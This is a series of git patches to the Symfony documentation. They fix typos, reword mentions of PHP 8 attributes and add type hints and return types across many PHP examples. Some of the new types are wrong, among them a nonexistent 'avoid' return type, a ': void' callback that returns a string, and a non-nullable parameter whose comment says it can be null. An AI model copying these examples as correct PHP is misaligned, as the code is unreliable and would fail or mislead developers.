@@ -998,8 +998,8 @@ In addition, you can query directly with SQL if you need to::
                 WHERE p.price > :price
                 ORDER BY p.price ASC
                 ';
-            $stmt = $conn->prepare($sql);
-            $resultSet = $stmt->executeQuery(['price' => $price]);
+
+            $resultSet = $conn->executeQuery($sql, ['price' => $price]);
 
             // returns an array of arrays (i.e. a raw data set)
             return $resultSet->fetchAllAssociative();

From 2e11d05480caa815c17267ed8f8d52a68c947ccc Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 19 Jun 2023 17:13:14 +0200
Subject: [PATCH 4765/7107] Removed some occurrences of explicitly talking
 about "PHP 8 attributes"

---
 console.rst                 |  3 +--
 service_container.rst       |  4 ++--
 service_container/calls.rst | 14 +++++---------
 service_container/tags.rst  |  2 +-
 4 files changed, 9 insertions(+), 14 deletions(-)

diff --git a/console.rst b/console.rst
index c12ebe8901f..4038c16f83e 100644
--- a/console.rst
+++ b/console.rst
@@ -208,8 +208,7 @@ available in the ``configure()`` method::
 Registering the Command
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-In PHP 8 and newer versions, you can register the command by adding the
-``AsCommand`` attribute to it::
+You can register the command by adding the ``AsCommand`` attribute to it::
 
     // src/Command/CreateUserCommand.php
     namespace App\Command;
diff --git a/service_container.rst b/service_container.rst
index 4e05b92da2e..2c0057a6c60 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -238,8 +238,8 @@ each time you ask for it.
 Limiting Services to a specific Symfony Environment
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If you are using PHP 8.0 or later, you can use the ``#[When]`` PHP
-attribute to only register the class as a service in some environments::
+You can use the ``#[When]`` attribute to only register the class
+as a service in some environments::
 
     use Symfony\Component\DependencyInjection\Attribute\When;
 
diff --git a/service_container/calls.rst b/service_container/calls.rst
index 98f9dc2bc86..9f4e3699b18 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -145,11 +145,8 @@ The configuration to tell the container it should do so would be like:
     If autowire is enabled, you can also use attributes; with the previous
     example it would be::
 
-        /**
-         * @return static
-         */
         #[Required]
-        public function withLogger(LoggerInterface $logger)
+        public function withLogger(LoggerInterface $logger): static
         {
             $new = clone $this;
             $new->logger = $logger;
@@ -157,8 +154,7 @@ The configuration to tell the container it should do so would be like:
             return $new;
         }
 
-    You can also leverage the PHP 8 ``static`` return type instead of the
-    ``@return static`` annotation. If you don't want a method with a
-    PHP 8 ``static`` return type and a ``#[Required]`` attribute to behave as
-    a wither, you can add a ``@return $this`` annotation to disable the
-    *returns clone* feature.
+    If you don't want a method with a ``static`` return type and
+    a ``#[Required]`` attribute to behave as a wither, you can
+    add a ``@return $this`` annotation to disable the *returns clone*
+    feature.
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 8dabdae494e..07fd994c7b0 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -168,7 +168,7 @@ In a Symfony bundle, call this method in the ``load()`` method of the
     }
 
 Autoconfiguration registering is not limited to interfaces. It is possible
-to use PHP 8 attributes to autoconfigure services by using the
+to use PHP attributes to autoconfigure services by using the
 :method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerAttributeForAutoconfiguration`
 method::
 

From 811e52e8e33428039a6f1d2c3d1fbb47e65209ba Mon Sep 17 00:00:00 2001
From: Franck Ranaivo-Harisoa <franckranaivo@users.noreply.github.com>
Date: Tue, 20 Jun 2023 09:31:28 +0200
Subject: [PATCH 4766/7107] Typo in yaml component

"supports" instead of "sports"
---
 components/yaml.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/yaml.rst b/components/yaml.rst
index f179d306ca1..0f4f76ef05f 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -41,7 +41,7 @@ compact block collections and multi-document files.
 Real Parser
 ~~~~~~~~~~~
 
-It sports a real parser and is able to parse a large subset of the YAML
+It supports a real parser and is able to parse a large subset of the YAML
 specification, for all your configuration needs. It also means that the parser
 is pretty robust, easy to understand, and simple enough to extend.
 

From 1179b159139c354cb27da92201d18c09b95386cd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 Jun 2023 11:14:13 +0200
Subject: [PATCH 4767/7107] Minor reword

---
 translation.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/translation.rst b/translation.rst
index b368c00d7f4..1d23f9171a9 100644
--- a/translation.rst
+++ b/translation.rst
@@ -943,8 +943,8 @@ the framework:
             $framework->defaultLocale('en');
         };
 
-This ``default_locale`` is also relevant for the translator, as we will see
-in the next section.
+This ``default_locale`` is also relevant for the translator, as shown in the
+next section.
 
 .. _translation-fallback:
 

From 3922fff5be488c154a9dfad6b61a5f0397b83923 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 20 Jun 2023 13:52:55 +0200
Subject: [PATCH 4768/7107] [Console] Add SignalMap to map signal value to its
 name

---
 components/console/events.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/components/console/events.rst b/components/console/events.rst
index 7cdb2226994..4444992b30f 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -243,6 +243,18 @@ Symfony doesn't handle any signal received by the command (not even ``SIGKILL``,
 ``SIGTERM``, etc). This behavior is intended, as it gives you the flexibility to
 handle all signals e.g. to do some tasks before terminating the command.
 
+.. tip::
+
+    If you need to fetch the signal name from its integer value (e.g. for logging),
+    you can use the
+    :method:`Symfony\\Component\\Console\\SignalRegistry\\SignalMap::getSignalName`
+    method.
+
+.. versionadded:: 6.4
+
+    The :class:`Symfony\\Component\\Console\\SignalRegistry\\SignalMap` class was
+    introduced in Symfony 6.4.
+
 .. deprecated:: 6.3
 
     In Symfony versions previous to 6.3, all signals (except ``SIGUSR1`` and

From 8728589b0f89ecbcfc8b814537e691f64450d56e Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 20 Jun 2023 21:43:52 +0200
Subject: [PATCH 4769/7107] Add type-hints and return types

---
 bundles/configuration.rst                     |  4 +-
 cache.rst                                     |  6 +--
 components/cache.rst                          |  4 +-
 components/cache/cache_invalidation.rst       |  2 +-
 components/cache/cache_items.rst              |  2 +-
 components/cache/cache_pools.rst              |  2 +-
 components/config/definition.rst              |  2 +-
 components/console/events.rst                 | 14 ++---
 .../console/helpers/debug_formatter.rst       |  2 +-
 components/console/helpers/processhelper.rst  |  2 +-
 components/console/helpers/progressbar.rst    |  2 +-
 components/console/helpers/questionhelper.rst | 52 +++++++++----------
 components/console/single_command_tool.rst    |  2 +-
 components/dom_crawler.rst                    |  8 +--
 components/event_dispatcher.rst               |  2 +-
 .../event_dispatcher/immutable_dispatcher.rst |  3 +-
 components/expression_language.rst            |  8 +--
 components/finder.rst                         |  4 +-
 components/form.rst                           |  2 +-
 components/http_foundation.rst                |  2 +-
 components/http_kernel.rst                    |  2 +-
 components/options_resolver.rst               | 22 ++++----
 components/process.rst                        |  6 +--
 components/runtime.rst                        | 32 ++++++------
 components/serializer.rst                     |  6 +--
 components/string.rst                         |  6 +--
 components/var_dumper.rst                     |  6 +--
 configuration.rst                             |  4 +-
 .../front_controllers_and_kernel.rst          |  2 +-
 configuration/multiple_kernels.rst            |  4 +-
 configuration/override_dir_structure.rst      |  2 +-
 configuration/secrets.rst                     |  2 +-
 console/input.rst                             |  2 +-
 console/lazy_commands.rst                     |  6 ++-
 console/style.rst                             |  4 +-
 controller/error_pages.rst                    |  2 +-
 controller/service.rst                        |  2 +-
 create_framework/event_dispatcher.rst         |  6 +--
 .../http_kernel_httpkernel_class.rst          |  2 +-
 create_framework/templating.rst               |  6 +--
 doctrine/custom_dql_functions.rst             |  4 +-
 doctrine/dbal.rst                             |  4 +-
 doctrine/multiple_entity_managers.rst         |  4 +-
 doctrine/resolve_target_entity.rst            |  2 +-
 form/bootstrap4.rst                           |  2 +-
 form/create_custom_field_type.rst             |  2 +-
 form/data_based_validation.rst                |  4 +-
 form/dynamic_form_modification.rst            | 18 +++----
 form/events.rst                               |  2 +-
 form/form_themes.rst                          |  4 +-
 forms.rst                                     |  2 +-
 http_cache.rst                                |  2 +-
 http_client.rst                               | 14 ++---
 logging.rst                                   |  6 +--
 logging/channels_handlers.rst                 |  4 +-
 logging/formatter.rst                         |  2 +-
 logging/handlers.rst                          |  2 +-
 logging/monolog_console.rst                   |  2 +-
 logging/monolog_email.rst                     |  6 +--
 logging/monolog_exclude_http_codes.rst        |  2 +-
 logging/processors.rst                        |  2 +-
 mailer.rst                                    |  4 +-
 migration.rst                                 |  4 +-
 notifier.rst                                  |  6 +--
 quick_tour/the_architecture.rst               |  2 +-
 reference/configuration/doctrine.rst          |  4 +-
 reference/configuration/security.rst          | 14 ++---
 reference/configuration/twig.rst              |  6 +--
 reference/constraints/Callback.rst            |  2 +-
 reference/forms/types/choice.rst              | 10 ++--
 reference/forms/types/collection.rst          |  2 +-
 reference/forms/types/entity.rst              |  4 +-
 .../forms/types/options/choice_attr.rst.inc   |  4 +-
 .../forms/types/options/choice_filter.rst.inc |  4 +-
 .../forms/types/options/choice_label.rst.inc  |  2 +-
 .../forms/types/options/choice_loader.rst.inc |  4 +-
 .../choice_translation_parameters.rst.inc     |  2 +-
 .../forms/types/options/choice_value.rst.inc  |  2 +-
 .../types/options/preferred_choices.rst.inc   |  2 +-
 .../types/options/validation_groups.rst.inc   |  2 +-
 routing.rst                                   | 46 ++++++++--------
 routing/custom_route_loader.rst               |  8 +--
 security.rst                                  |  8 +--
 security/access_control.rst                   |  8 +--
 security/access_denied_handler.rst            |  4 +-
 security/access_token.rst                     |  8 +--
 security/custom_authenticator.rst             |  6 +--
 security/entry_point.rst                      |  4 +-
 security/firewall_restriction.rst             |  8 +--
 security/force_https.rst                      |  2 +-
 security/form_login.rst                       | 10 ++--
 security/impersonating_user.rst               | 10 ++--
 security/ldap.rst                             |  8 +--
 security/login_link.rst                       | 14 ++---
 security/passwords.rst                        | 12 ++---
 security/remember_me.rst                      | 10 ++--
 security/user_checkers.rst                    |  4 +-
 security/voters.rst                           |  6 +--
 templates.rst                                 | 12 ++---
 testing.rst                                   |  2 +-
 testing/dom_crawler.rst                       |  6 ++-
 translation.rst                               |  2 +-
 102 files changed, 312 insertions(+), 305 deletions(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 6933f7eb794..bc9efc1e0b9 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -85,7 +85,7 @@ can add some configuration that looks like this:
         // config/packages/acme_social.php
         use Symfony\Config\AcmeSocialConfig;
 
-        return static function (AcmeSocialConfig $acmeSocial) {
+        return static function (AcmeSocialConfig $acmeSocial): void {
             $acmeSocial->twitter()
                 ->clientId(123)
                 ->clientSecret('your_secret');
@@ -394,7 +394,7 @@ logic to the bundle class directly::
         // config/definition.php
         use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
 
-        return static function (DefinitionConfigurator $definition) {
+        return static function (DefinitionConfigurator $definition): void {
             $definition->rootNode()
                 ->children()
                     ->scalarNode('foo')->defaultValue('bar')->end()
diff --git a/cache.rst b/cache.rst
index f9d7175cf41..bddec08cbc8 100644
--- a/cache.rst
+++ b/cache.rst
@@ -10,7 +10,7 @@ The following example shows a typical usage of the cache::
     use Symfony\Contracts\Cache\ItemInterface;
 
     // The callable will only be executed on a cache miss.
-    $value = $pool->get('my_cache_key', function (ItemInterface $item) {
+    $value = $pool->get('my_cache_key', function (ItemInterface $item): string {
         $item->expiresAfter(3600);
 
         // ... do some HTTP request or heavy computations
@@ -557,13 +557,13 @@ the same key could be invalidated with one function call::
 
         public function someMethod()
         {
-            $value0 = $this->myCachePool->get('item_0', function (ItemInterface $item) {
+            $value0 = $this->myCachePool->get('item_0', function (ItemInterface $item): string {
                 $item->tag(['foo', 'bar']);
 
                 return 'debug';
             });
 
-            $value1 = $this->myCachePool->get('item_1', function (ItemInterface $item) {
+            $value1 = $this->myCachePool->get('item_1', function (ItemInterface $item): string {
                 $item->tag('foo');
 
                 return 'debug';
diff --git a/components/cache.rst b/components/cache.rst
index 66514b6c898..20fa2426876 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -65,7 +65,7 @@ generate and return the value::
     use Symfony\Contracts\Cache\ItemInterface;
 
     // The callable will only be executed on a cache miss.
-    $value = $cache->get('my_cache_key', function (ItemInterface $item) {
+    $value = $cache->get('my_cache_key', function (ItemInterface $item): string {
         $item->expiresAfter(3600);
 
         // ... do some HTTP request or heavy computations
@@ -115,7 +115,7 @@ recompute::
     use Symfony\Contracts\Cache\ItemInterface;
 
     $beta = 1.0;
-    $value = $cache->get('my_cache_key', function (ItemInterface $item) {
+    $value = $cache->get('my_cache_key', function (ItemInterface $item): string {
         $item->expiresAfter(3600);
         $item->tag(['tag_0', 'tag_1']);
 
diff --git a/components/cache/cache_invalidation.rst b/components/cache/cache_invalidation.rst
index 1005d2d09a7..da88ea6273e 100644
--- a/components/cache/cache_invalidation.rst
+++ b/components/cache/cache_invalidation.rst
@@ -24,7 +24,7 @@ To attach tags to cached items, you need to use the
 :method:`Symfony\\Contracts\\Cache\\ItemInterface::tag` method that is implemented by
 cache items::
 
-    $item = $cache->get('cache_key', function (ItemInterface $item) {
+    $item = $cache->get('cache_key', function (ItemInterface $item): string {
         // [...]
         // add one or more tags
         $item->tag('tag_1');
diff --git a/components/cache/cache_items.rst b/components/cache/cache_items.rst
index 9f020a39de9..715dc0c4401 100644
--- a/components/cache/cache_items.rst
+++ b/components/cache/cache_items.rst
@@ -27,7 +27,7 @@ The only way to create cache items is via cache pools. When using the Cache
 Contracts, they are passed as arguments to the recomputation callback::
 
     // $cache pool object was created before
-    $productsCount = $cache->get('stats.products_count', function (ItemInterface $item) {
+    $productsCount = $cache->get('stats.products_count', function (ItemInterface $item): string {
         // [...]
     });
 
diff --git a/components/cache/cache_pools.rst b/components/cache/cache_pools.rst
index 8d05cd268d5..0a7e966badc 100644
--- a/components/cache/cache_pools.rst
+++ b/components/cache/cache_pools.rst
@@ -38,7 +38,7 @@ and deleting cache items using only two methods and a callback::
     $cache = new FilesystemAdapter();
 
     // The callable will only be executed on a cache miss.
-    $value = $cache->get('my_cache_key', function (ItemInterface $item) {
+    $value = $cache->get('my_cache_key', function (ItemInterface $item): string {
         $item->expiresAfter(3600);
 
         // ... do some HTTP request or heavy computations
diff --git a/components/config/definition.rst b/components/config/definition.rst
index 5c8cc0dc0e0..8dab6d2163e 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -737,7 +737,7 @@ By changing a string value into an associative array with ``name`` as the key::
             ->arrayNode('connection')
                 ->beforeNormalization()
                     ->ifString()
-                    ->then(function ($v) { return ['name' => $v]; })
+                    ->then(function (string $v): array { return ['name' => $v]; })
                 ->end()
                 ->children()
                     ->scalarNode('name')->isRequired()->end()
diff --git a/components/console/events.rst b/components/console/events.rst
index 01b81d5a708..5e6f58a593f 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -33,7 +33,7 @@ dispatched. Listeners receive a
     use Symfony\Component\Console\ConsoleEvents;
     use Symfony\Component\Console\Event\ConsoleCommandEvent;
 
-    $dispatcher->addListener(ConsoleEvents::COMMAND, function (ConsoleCommandEvent $event) {
+    $dispatcher->addListener(ConsoleEvents::COMMAND, function (ConsoleCommandEvent $event): void {
         // gets the input instance
         $input = $event->getInput();
 
@@ -64,7 +64,7 @@ C/C++ standard::
     use Symfony\Component\Console\ConsoleEvents;
     use Symfony\Component\Console\Event\ConsoleCommandEvent;
 
-    $dispatcher->addListener(ConsoleEvents::COMMAND, function (ConsoleCommandEvent $event) {
+    $dispatcher->addListener(ConsoleEvents::COMMAND, function (ConsoleCommandEvent $event): void {
         // gets the command to be executed
         $command = $event->getCommand();
 
@@ -97,7 +97,7 @@ Listeners receive a
     use Symfony\Component\Console\ConsoleEvents;
     use Symfony\Component\Console\Event\ConsoleErrorEvent;
 
-    $dispatcher->addListener(ConsoleEvents::ERROR, function (ConsoleErrorEvent $event) {
+    $dispatcher->addListener(ConsoleEvents::ERROR, function (ConsoleErrorEvent $event): void {
         $output = $event->getOutput();
 
         $command = $event->getCommand();
@@ -131,7 +131,7 @@ Listeners receive a
     use Symfony\Component\Console\ConsoleEvents;
     use Symfony\Component\Console\Event\ConsoleTerminateEvent;
 
-    $dispatcher->addListener(ConsoleEvents::TERMINATE, function (ConsoleTerminateEvent $event) {
+    $dispatcher->addListener(ConsoleEvents::TERMINATE, function (ConsoleTerminateEvent $event): void {
         // gets the output
         $output = $event->getOutput();
 
@@ -170,11 +170,11 @@ Listeners receive a
     use Symfony\Component\Console\ConsoleEvents;
     use Symfony\Component\Console\Event\ConsoleSignalEvent;
 
-    $dispatcher->addListener(ConsoleEvents::SIGNAL, function (ConsoleSignalEvent $event) {
-       
+    $dispatcher->addListener(ConsoleEvents::SIGNAL, function (ConsoleSignalEvent $event): void {
+
         // gets the signal number
         $signal = $event->getHandlingSignal();
-        
+
         if (\SIGINT === $signal) {
             echo "bye bye!";
         }
diff --git a/components/console/helpers/debug_formatter.rst b/components/console/helpers/debug_formatter.rst
index a5567fe63ed..b2f6e9dfbde 100644
--- a/components/console/helpers/debug_formatter.rst
+++ b/components/console/helpers/debug_formatter.rst
@@ -78,7 +78,7 @@ using
     // ...
     $process = new Process(...);
 
-    $process->run(function ($type, $buffer) use ($output, $debugFormatter, $process) {
+    $process->run(function (string $type, string $buffer) use ($output, $debugFormatter, $process): void {
         $output->writeln(
             $debugFormatter->progress(
                 spl_object_hash($process),
diff --git a/components/console/helpers/processhelper.rst b/components/console/helpers/processhelper.rst
index ef462cef731..51dbd016a0e 100644
--- a/components/console/helpers/processhelper.rst
+++ b/components/console/helpers/processhelper.rst
@@ -69,7 +69,7 @@ A custom process callback can be passed as the fourth argument. Refer to the
 
     use Symfony\Component\Process\Process;
 
-    $helper->run($output, $process, 'The process failed :(', function ($type, $data) {
+    $helper->run($output, $process, 'The process failed :(', function (string $type, string $data): void {
         if (Process::ERR === $type) {
             // ... do something with the stderr output
         } else {
diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index 0dfb9b45a02..315b02a1d1b 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -336,7 +336,7 @@ that displays the number of remaining steps::
 
     ProgressBar::setPlaceholderFormatterDefinition(
         'remaining_steps',
-        function (ProgressBar $progressBar, OutputInterface $output) {
+        function (ProgressBar $progressBar, OutputInterface $output): int {
             return $progressBar->getMaxSteps() - $progressBar->getProgress();
         }
     );
diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index eed00d74711..5729c112af1 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -82,9 +82,9 @@ if you want to know a bundle name, you can add this to your command::
         $question = new Question('Please enter the name of the bundle', 'AcmeDemoBundle');
 
         $bundleName = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the bundleName
-        
+
         return Command::SUCCESS;
     }
 
@@ -120,7 +120,7 @@ from a predefined list::
         $output->writeln('You have just selected: '.$color);
 
         // ... do something with the color
-        
+
         return Command::SUCCESS;
     }
 
@@ -158,7 +158,7 @@ this use :method:`Symfony\\Component\\Console\\Question\\ChoiceQuestion::setMult
 
         $colors = $helper->ask($input, $output, $question);
         $output->writeln('You have just selected: ' . implode(', ', $colors));
-        
+
         return Command::SUCCESS;
     }
 
@@ -187,9 +187,9 @@ will be autocompleted as the user types::
         $question->setAutocompleterValues($bundles);
 
         $bundleName = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the bundleName
-        
+
         return Command::SUCCESS;
     }
 
@@ -217,7 +217,7 @@ provide a callback function to dynamically generate suggestions::
             // where files and dirs can be found
             $foundFilesAndDirs = @scandir($inputPath) ?: [];
 
-            return array_map(function ($dirOrFile) use ($inputPath) {
+            return array_map(function (string $dirOrFile) use ($inputPath): void {
                 return $inputPath.$dirOrFile;
             }, $foundFilesAndDirs);
         };
@@ -226,9 +226,9 @@ provide a callback function to dynamically generate suggestions::
         $question->setAutocompleterCallback($callback);
 
         $filePath = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the filePath
-        
+
         return Command::SUCCESS;
     }
 
@@ -250,9 +250,9 @@ You can also specify if you want to not trim the answer by setting it directly w
         $question->setTrimmable(false);
         // if the users inputs 'elsa ' it will not be trimmed and you will get 'elsa ' as value
         $name = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the name
-        
+
         return Command::SUCCESS;
     }
 
@@ -276,9 +276,9 @@ the response to a question should allow multiline answers by passing ``true`` to
         $question->setMultiline(true);
 
         $answer = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the answer
-        
+
         return Command::SUCCESS;
     }
 
@@ -304,9 +304,9 @@ convenient for passwords::
         $question->setHiddenFallback(false);
 
         $password = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the password
-        
+
         return Command::SUCCESS;
     }
 
@@ -338,7 +338,7 @@ convenient for passwords::
             QuestionHelper::disableStty();
 
             // ...
-            
+
             return Command::SUCCESS;
         }
 
@@ -361,15 +361,15 @@ method::
         $helper = $this->getHelper('question');
 
         $question = new Question('Please enter the name of the bundle', 'AcmeDemoBundle');
-        $question->setNormalizer(function ($value) {
+        $question->setNormalizer(function (string $value): string {
             // $value can be null here
             return $value ? trim($value) : '';
         });
 
         $bundleName = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the bundleName
-        
+
         return Command::SUCCESS;
     }
 
@@ -399,7 +399,7 @@ method::
         $helper = $this->getHelper('question');
 
         $question = new Question('Please enter the name of the bundle', 'AcmeDemoBundle');
-        $question->setValidator(function ($answer) {
+        $question->setValidator(function (string $answer): string {
             if (!is_string($answer) || 'Bundle' !== substr($answer, -6)) {
                 throw new \RuntimeException(
                     'The name of the bundle should be suffixed with \'Bundle\''
@@ -411,9 +411,9 @@ method::
         $question->setMaxAttempts(2);
 
         $bundleName = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the bundleName
-        
+
         return Command::SUCCESS;
     }
 
@@ -459,10 +459,10 @@ You can also use a validator with a hidden question::
         $helper = $this->getHelper('question');
 
         $question = new Question('Please enter your password');
-        $question->setNormalizer(function ($value) {
+        $question->setNormalizer(function (?string $value): string {
             return $value ?? '';
         });
-        $question->setValidator(function ($value) {
+        $question->setValidator(function (string $value): void {
             if ('' === trim($value)) {
                 throw new \Exception('The password cannot be empty');
             }
@@ -473,9 +473,9 @@ You can also use a validator with a hidden question::
         $question->setMaxAttempts(20);
 
         $password = $helper->ask($input, $output, $question);
-        
+
         // ... do something with the password
-        
+
         return Command::SUCCESS;
     }
 
diff --git a/components/console/single_command_tool.rst b/components/console/single_command_tool.rst
index a6c458afb94..97cb09bf030 100644
--- a/components/console/single_command_tool.rst
+++ b/components/console/single_command_tool.rst
@@ -20,7 +20,7 @@ it is possible to remove this need by declaring a single command application::
         ->setVersion('1.0.0') // Optional
         ->addArgument('foo', InputArgument::OPTIONAL, 'The directory')
         ->addOption('bar', null, InputOption::VALUE_REQUIRED)
-        ->setCode(function (InputInterface $input, OutputInterface $output) {
+        ->setCode(function (InputInterface $input, OutputInterface $output): int {
             // output arguments and options
         })
         ->run();
diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index fd9b47a1d59..b7038e5088f 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -89,9 +89,9 @@ An anonymous function can be used to filter with more complex criteria::
 
     $crawler = $crawler
         ->filter('body > p')
-        ->reduce(function (Crawler $node, $i) {
+        ->reduce(function (Crawler $node, $i): bool {
             // filters every other node
-            return ($i % 2) == 0;
+            return ($i % 2) === 0;
         });
 
 To remove a node, the anonymous function must return ``false``.
@@ -242,7 +242,7 @@ Call an anonymous function on each node of the list::
     use Symfony\Component\DomCrawler\Crawler;
     // ...
 
-    $nodeValues = $crawler->filter('p')->each(function (Crawler $node, $i) {
+    $nodeValues = $crawler->filter('p')->each(function (Crawler $node, $i): string {
         return $node->text();
     });
 
@@ -252,7 +252,7 @@ The result is an array of values returned by the anonymous function calls.
 When using nested crawler, beware that ``filterXPath()`` is evaluated in the
 context of the crawler::
 
-    $crawler->filterXPath('parent')->each(function (Crawler $parentCrawler, $i) {
+    $crawler->filterXPath('parent')->each(function (Crawler $parentCrawler, $i): avoid {
         // DON'T DO THIS: direct child can not be found
         $subCrawler = $parentCrawler->filterXPath('sub-tag/sub-child-tag');
 
diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index f545d9802b7..68d7a5f39e6 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -147,7 +147,7 @@ The ``addListener()`` method takes up to three arguments:
 
         use Symfony\Contracts\EventDispatcher\Event;
 
-        $dispatcher->addListener('acme.foo.action', function (Event $event) {
+        $dispatcher->addListener('acme.foo.action', function (Event $event): void {
             // will be executed when the acme.foo.action event is dispatched
         });
 
diff --git a/components/event_dispatcher/immutable_dispatcher.rst b/components/event_dispatcher/immutable_dispatcher.rst
index 0a930352bfe..a6a98c47f37 100644
--- a/components/event_dispatcher/immutable_dispatcher.rst
+++ b/components/event_dispatcher/immutable_dispatcher.rst
@@ -13,9 +13,10 @@ To use it, first create a normal ``EventDispatcher`` dispatcher and register
 some listeners or subscribers::
 
     use Symfony\Component\EventDispatcher\EventDispatcher;
+    use Symfony\Contracts\EventDispatcher\Event;
 
     $dispatcher = new EventDispatcher();
-    $dispatcher->addListener('foo.action', function ($event) {
+    $dispatcher->addListener('foo.action', function (Event $event): void {
         // ...
     });
 
diff --git a/components/expression_language.rst b/components/expression_language.rst
index 3f79c57707d..f936efdb112 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -284,9 +284,9 @@ Example::
     use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
 
     $expressionLanguage = new ExpressionLanguage();
-    $expressionLanguage->register('lowercase', function ($str) {
+    $expressionLanguage->register('lowercase', function ($str): string {
         return sprintf('(is_string(%1$s) ? strtolower(%1$s) : %1$s)', $str);
-    }, function ($arguments, $str) {
+    }, function ($arguments, $str): string {
         if (!is_string($str)) {
             return $str;
         }
@@ -325,9 +325,9 @@ register::
         public function getFunctions()
         {
             return [
-                new ExpressionFunction('lowercase', function ($str) {
+                new ExpressionFunction('lowercase', function ($str): string {
                     return sprintf('(is_string(%1$s) ? strtolower(%1$s) : %1$s)', $str);
-                }, function ($arguments, $str) {
+                }, function ($arguments, $str): string {
                     if (!is_string($str)) {
                         return $str;
                     }
diff --git a/components/finder.rst b/components/finder.rst
index a1809521419..27dd6709b6d 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -351,7 +351,7 @@ Sort the results by name, extension, size or type (directories first, then files
     function (e.g. ``file1.txt``, ``file10.txt``, ``file2.txt``). Pass ``true``
     as its argument to use PHP's `natural sort order`_ algorithm instead (e.g.
     ``file1.txt``, ``file2.txt``, ``file10.txt``).
-    
+
     The ``sortByCaseInsensitiveName()`` method uses the case insensitive
     :phpfunction:`strcasecmp` PHP function. Pass ``true`` as its argument to use
     PHP's case insensitive `natural sort order`_ algorithm instead (i.e. the
@@ -367,7 +367,7 @@ Sort the files and directories by the last accessed, changed or modified time::
 
 You can also define your own sorting algorithm with the ``sort()`` method::
 
-    $finder->sort(function (\SplFileInfo $a, \SplFileInfo $b) {
+    $finder->sort(function (\SplFileInfo $a, \SplFileInfo $b): int {
         return strcmp($a->getRealPath(), $b->getRealPath());
     });
 
diff --git a/components/form.rst b/components/form.rst
index 2f7b874d7bf..79763fcacbe 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -204,7 +204,7 @@ to bootstrap or access Twig and add the :class:`Symfony\\Bridge\\Twig\\Extension
     ]));
     $formEngine = new TwigRendererEngine([$defaultFormTheme], $twig);
     $twig->addRuntimeLoader(new FactoryRuntimeLoader([
-        FormRenderer::class => function () use ($formEngine, $csrfManager) {
+        FormRenderer::class => function () use ($formEngine, $csrfManager): FormRenderer {
             return new FormRenderer($formEngine, $csrfManager);
         },
     ]));
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index ae5db2bee91..ee1ae532f87 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -555,7 +555,7 @@ represented by a PHP callable instead of a string::
     use Symfony\Component\HttpFoundation\StreamedResponse;
 
     $response = new StreamedResponse();
-    $response->setCallback(function () {
+    $response->setCallback(function (): void {
         var_dump('Hello World');
         flush();
         sleep(2);
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 067bf17a998..2bb972e057a 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -630,7 +630,7 @@ else that can be used to create a working example::
 
     $routes = new RouteCollection();
     $routes->add('hello', new Route('/hello/{name}', [
-        '_controller' => function (Request $request) {
+        '_controller' => function (Request $request): Response {
             return new Response(
                 sprintf("Hello %s", $request->get('name'))
             );
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index fb459f3d9cd..1f9b1b9567f 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -370,7 +370,7 @@ For options with more complicated validation schemes, pass a closure which
 returns ``true`` for acceptable values and ``false`` for invalid values::
 
     // ...
-    $resolver->setAllowedValues('transport', function ($value) {
+    $resolver->setAllowedValues('transport', function (string $value): bool {
         // return true or false
     });
 
@@ -412,7 +412,7 @@ option. You can configure a normalizer by calling
         {
             // ...
 
-            $resolver->setNormalizer('host', function (Options $options, $value) {
+            $resolver->setNormalizer('host', function (Options $options, string $value): string {
